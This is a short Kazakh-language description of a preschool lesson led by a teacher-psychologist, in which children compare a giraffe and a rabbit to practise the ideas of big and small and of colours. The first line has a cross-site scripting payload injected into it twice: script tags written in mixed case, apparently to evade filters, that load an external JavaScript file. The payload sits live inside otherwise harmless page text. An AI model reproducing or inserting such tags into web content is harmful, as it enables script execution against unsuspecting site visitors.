педагог-психологпен сабақтарда<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Жарқын және ерекше балаларды тартады және бұл материалды пайдалану көзге көрінбейді және мақсатқа жету оңай. Балалармен үлкен және кіші ұғымдары нығайтылды, оқу ойыншықтарын негізге алды. Жираф пен қоянды салыстыр. Түсті бекіту кезінде: қоянға ашық тон, ал жирафқа орамал берілді. Тапсырма орындалғаннан кейін балалар қуанышты көңіл күймен топқа оралды.